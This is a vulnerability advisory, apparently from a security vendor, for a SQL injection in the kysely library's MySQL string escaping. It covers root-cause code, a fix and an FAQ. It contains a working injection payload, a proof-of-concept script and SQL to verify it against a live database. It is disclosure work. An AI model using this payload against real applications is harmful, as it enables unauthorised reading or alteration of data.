CVE-2026-33468

Kysely's DefaultQueryCompiler.sanitizeStringLiteral() only escapes single quotes by doubling them (' → '') but does not escape backslashes. When used with the MySQL dialect (where NO_BACKSLASH_ESCAPES is OFF by default), an attacker can use a backslash to escape the trailing quote of a string literal, breaking out of the string context and injecting arbitrary SQL. This affects any code path that uses ImmediateValueTransformer to inline values, specifically CreateIndexBuilder.where() and CreateViewBuilder.as().

Details

The root cause is in DefaultQueryCompiler.sanitizeStringLiteral():

src/query-compiler/default-query-compiler.ts:1819-1821

protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, "''")
}

Where LIT_WRAP_REGEX is defined as /'/g (line 121). This only doubles single quotes, it does not escape backslash characters.

The function is called from appendStringLiteral() which wraps the sanitized value in single quotes:

src/query-compiler/default-query-compiler.ts:1841-1845

protected appendStringLiteral(value: string): void {
  this.append("'")
  this.append(this.sanitizeStringLiteral(value))
  this.append("'")
}

This is reached when visitValue() encounters an immediate value node (line 525-527), which is created by ImmediateValueTransformer used in CreateIndexBuilder.where():

src/schema/create-index-builder.ts:266-278

where(...args: any[]): any {
  const transformer = new ImmediateValueTransformer()

  return new CreateIndexBuilder({
    ...this.#props,
    node: QueryNode.cloneWithWhere(
      this.#props.node,
      transformer.transformNode(
        parseValueBinaryOperationOrExpression(args),
        this.#props.queryId,
      ),
    ),
  })
}

The MysqlQueryCompiler (at src/dialect/mysql/mysql-query-compiler.ts:6-75) extends DefaultQueryCompiler but does not override sanitizeStringLiteral, inheriting the backslash-unaware implementation.

Exploitation mechanism:

In MySQL with the default NO_BACKSLASH_ESCAPES=OFF setting, the backslash character (\) acts as an escape character inside string literals. Given input \' OR 1=1 --:

1. sanitizeStringLiteral doubles the quote: \'' OR 1=1 --
2. appendStringLiteral wraps: '\'' OR 1=1 --'
3. MySQL interprets \' as an escaped (literal) single quote, so the string content is ' and the second ' closes the string
4. OR 1=1 -- is parsed as SQL

PoC

import { Kysely, MysqlDialect } from 'kysely'
import { createPool } from 'mysql2'

interface Database {
  orders: {
    id: number
    status: string
    order_nr: string
  }
}

const db = new Kysely<Database>({
  dialect: new MysqlDialect({
    pool: createPool({
      host: 'localhost',
      database: 'test',
      user: 'root',
      password: 'password',
    }),
  }),
})

// Simulates user-controlled input reaching CreateIndexBuilder.where()
const userInput = "\\' OR 1=1 --"

const query = db.schema
  .createIndex('orders_status_index')
  .on('orders')
  .column('status')
  .where('status', '=', userInput)

// Compile to see the generated SQL
const compiled = query.compile()
console.log(compiled.sql)
// Output: create index `orders_status_index` on `orders` (`status`) where `status` = '\'' OR 1=1 --'
//
// MySQL parses this as:
//   WHERE `status` = '\'   ← string literal containing a single quote
//   ' OR 1=1 --'          ← injected SQL (OR 1=1), comment eats trailing quote

To verify against a live MySQL instance:

-- Setup
CREATE DATABASE test;
USE test;
CREATE TABLE orders (id INT PRIMARY KEY, status VARCHAR(50), order_nr VARCHAR(50));
INSERT INTO orders VALUES (1, 'active', '001'), (2, 'cancelled', '002');

-- The compiled query from Kysely with injected payload:
-- This returns all rows instead of filtering by status
SELECT * FROM orders WHERE status = '\'' OR 1=1 -- ';

• SQL Injection: An attacker who controls values passed to CreateIndexBuilder.where() or CreateViewBuilder.as() can inject arbitrary SQL statements when the application uses the MySQL dialect.
• Data Exfiltration: Injected SQL can read arbitrary data from the database using UNION-based or subquery-based techniques.
• Data Modification/Destruction: Stacked queries or subqueries can modify or delete data.
• Authentication Bypass: If index creation or view definitions are influenced by user input in application logic, the injection can alter query semantics to bypass access controls.

The attack complexity is rated High (AC:H) because exploitation requires an application to pass untrusted user input into DDL schema builder methods, which is an atypical but not impossible usage pattern. The CreateIndexBuilder.where() docstring (line 247) notes "Parameters are always sent as literals due to database restrictions" without warning about the security implications.

Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.

CVE-2026-33468 has a CVSS score of 8.1 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.28.14); upgrading removes the vulnerable code path.

Kodem intelligence

MysqlQueryCompiler should override sanitizeStringLiteral to escape backslashes before doubling quotes:

src/dialect/mysql/mysql-query-compiler.ts

const LIT_WRAP_REGEX = /'/g
const BACKSLASH_REGEX = /\\/g

export class MysqlQueryCompiler extends DefaultQueryCompiler {
  // ... existing overrides ...

  protected override sanitizeStringLiteral(value: string): string {
    // Escape backslashes first (\ → \\), then double single quotes (' → '')
    // MySQL treats backslash as an escape character by default (NO_BACKSLASH_ESCAPES=OFF)
    return value.replace(BACKSLASH_REGEX, '\\\\').replace(LIT_WRAP_REGEX, "''")
  }
}

Alternatively, the library could use parameterized queries for these DDL builders where the database supports it, avoiding string literal interpolation entirely. For databases that don't support parameters in DDL statements, the dialect-specific compiler must escape all characters that have special meaning in that dialect's string literal syntax.

1. What is CVE-2026-33468? CVE-2026-33468 is a high-severity SQL injection vulnerability in kysely (npm), affecting versions <= 0.28.13. It is fixed in 0.28.14. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
2. How severe is CVE-2026-33468? CVE-2026-33468 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of kysely are affected by CVE-2026-33468? kysely (npm) versions <= 0.28.13 is affected.
4. Is there a fix for CVE-2026-33468? Yes. CVE-2026-33468 is fixed in 0.28.14. Upgrade to this version or later.
5. Is CVE-2026-33468 exploitable, and should I be worried? Whether CVE-2026-33468 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-33468 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-33468? Upgrade kysely to 0.28.14 or later.